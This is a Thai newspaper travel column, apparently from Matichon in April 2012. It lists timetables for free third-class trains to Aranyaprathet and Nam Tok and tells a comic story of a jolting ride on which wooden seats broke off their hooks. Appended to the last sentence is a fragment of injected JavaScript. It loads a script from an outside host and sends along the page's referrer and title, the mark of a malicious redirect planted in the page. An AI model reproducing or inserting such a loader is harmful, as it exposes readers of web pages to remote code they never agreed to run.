มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 26 เมษายน 2555

 

          ถ้าอยากเดินทางท่องเที่ยวผจญภัยแบบวิบาก เพื่อให้มีชีวิตชีวาตื่นเต้นตรากตรำหนำใจ แก้เซ็งที่มีสุขสบายอยู่บนกองทรัพย์สินมหาศาล กรุณาใช้บริการรถไฟไทยสายตะวันออก กับสายตะวันตก

          รถไฟสายตะวันออก กรุงเทพฯ-อรัญประเทศ (จ. สระแก้ว) รถฟรี มีชั้น 3 ทั้งขบวน ไม่มีชั้น 1, ชั้น 2 และไม่มีแอร์ เดินรถวันละ 2 เที่ยว

          เช้า ออกจากหัวลำโพง 05.55 น. ถึงอรัญฯ 11.35 น. บ่าย ออกจากหัวลำโพง 13.05 น. ถึงอรัญฯ 17.35 น.

          ในทางกลับกัน อรัญประเทศ-กรุงเทพฯ มีวันละ 2 เที่ยว

          เช้า ออกจากอรัญฯ 06.40 น. ถึงหัวลำโพง 12.05 น. บ่าย ออกจากอรัญฯ 13.55 น. ถึงหัวลำโพง 19.55 น.

          ตามเวลานี้ นั่งรถไฟไปกลับได้ในวันเดียว เช้าไปถึงอรัญฯ 11.35 น. เช่ารถสามล้อไปเที่ยวรอบๆตลาดโรงเกลือ แล้วขึ้นรถไฟเที่ยวบ่ายกลับถึงหัวลำโพง 19.55 น.

          ปลายสัปดาห์ผ่านมา ผมนั่งไปอรัญฯ มีคนแน่นตั้งแต่หัวลำโพง ส่วนมากลงที่ฉะเชิงเทรากับปราจีนบุรี จากนั้นคนว่างจนถึงอรัญฯ แต่สองข้างทางมีฝุ่นมาก ดังนั้นขณะรถไฟแล่นไปก็ทำฝุ่นฟุ้ง เข้าหู, ตา, จมูก, ปาก แล้วติดเนื้อตัวตั้งแต่หัวถึงตีนผสมกลมกลืนกับ“กลิ่นรถไฟไทย”อันอมตะนิรันดร์กาล

          รถไฟสายตะวันตก ธนบุรี-น้ำตก (จ. กาญจนบุรี) รถฟรี มีชั้น 3 ทั้งขบวน ไม่มีชั้น 1, ชั้น 2 และไม่มีแอร์ เดินรถวันละ 2 เที่ยว

          เช้า ออกจากธนบุรี 07.50 น. ถึงน้ำตก 12.35 น. บ่าย ออกจากธนบุรี 13.55 น. ถึงน้ำตก 18.30 น.

          ในทางกลับกัน น้ำตก-ธนบุรี มีวันละ 1 เที่ยว บ่าย ออกจากน้ำตก 12.55 น. ถึงธนบุรี 17.40 น.

          นั่งไปกลับได้ในวันเดียว คือ เช้าไป 07.50 น. ถึง 12.35 น. ลงไปเดินรอบสถานีแล้วขึ้นรถไฟกลับ 12.55 น. ถึงธนบุรี 17.40 น.

          ผมเพิ่งนั่งไปสถานีน้ำตกเมื่อปลายสัปดาห์ที่ผ่านมา คนไม่แน่น แต่สมัครใจนั่งโบกี้เก้าอี้ไม้แบบเก่าๆ ไม่มีเบาะ

          ถึงสถานีกาญจนบุรี ต้องเพิ่มโบกี้ราว 5 ตู้ มีนักท่องเที่ยวทั้งฝรั่งทั้งญี่ปุ่นเต็มทุกโบกี้ เพื่อดูเส้นทางรถไฟสายมรณะสมัยสงครามโลกครั้งที่ 2

          แต่นักท่องเที่ยวต่างชาติลงรถไฟไปขึ้นรถบัสหมด เมื่อถึงสถานีสะพานถ้ำกระแซ โดยรถไฟแล่นต่อไปจนสุดทางสถานีน้ำตก แล้วแล่นกลับธนบุรี

          ขากลับ ที่นั่งว่างทั้งขบวน รถไฟแล่นโขยกขย่มเหมือนจะถล่มทลาย แถมแกว่งไกวส่ายไปมาซ้ายขวาเหมือนเตลิดเปิดเปิง แม่ค้าคนหนึ่งเดินหิ้วตะกร้าขายของตะโกนว่า ตายห่า มดลูกครากหมดแล้ว

          เก้าอี้ไม้ทั้งโบกี้กระเด็นกระดอนกระดกกระดนโด่ตามแรงเหวี่ยง ตัวที่ไม่มีคนนั่งบ้างก็เอนเอียงออกจากที่แล้วตกลงกระแทกพื้นเสมือนเพพัง แต่รถไฟแล่นโขยกขย่มไปไม่รับรู้ ประหนึ่งหนีโขลงช้างป่าที่ไล่ตามขยี้ฉะนั้น

          ผมนั่งคนเดียวเดี่ยวโดด เอาสองมือยึดกุมสภาพไว้กับเก้าอี้ไม้เนื้อแข็ง แล้วเอาตีนข้างหนึ่งยันเก้าอี้ตรงข้ามที่หลุดจากตะขอเกี่ยวพังลงพื้นไปแล้ว โดยหวังใจไว้ว่าจะรักษาที่นั่งของตัวเองไว้ได้

          คิดไม่ทันสุด เก้าอี้ไม้ที่ผมนั่งก็หลุดจากตะขอเกี่ยวลงพังพาบกับพื้นตามแรงโขยกขย่มของรถไฟ ต้องเอาสองมือค้ำยันพยุงตัวเองให้ลุกขึ้นอย่างยุ่งยาก เพราะรถเหวี่ยงซ้ายขวาทำให้ลำบากลำบนจนทุเรศทุรังตัวเอง เมื่อค่อยๆคลานออกจากที่นั่งเดิม ก็คืบไปหาที่นั่งใหม่ถัดไปที่ยังไม่เพพัง

          เมื่อเข้าเขต อ. บ้านโป่ง จ. ราชบุรี รางรถไฟตีโค้งเชื่อมสายใต้ เข้าสถานีชุมทางหนองปลาดุก ทางรถไฟกลายกลับเป็นผู้ดีพับเพียบเรียบร้อยด้วยสันติภาพจนถึงสถานีธนบุรี เมื่อพระลบร่อนเร่จะหลบลี้ลับเหลี่ยมตึกรามกรุงเทพฯ

          ขอให้วางใจได้ ผมไม่มีวันเข็ดหลาบหรอก เพราะวิบากกับรถไฟไทยอย่างนี้มาหลายสิบปีแล้ว คุ้นและชินอยู่ดีซะแล้ว อาทิตย์หน้าก็จะใช้บริการอีกถ้าไม่ช้ำในตายก่อนs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;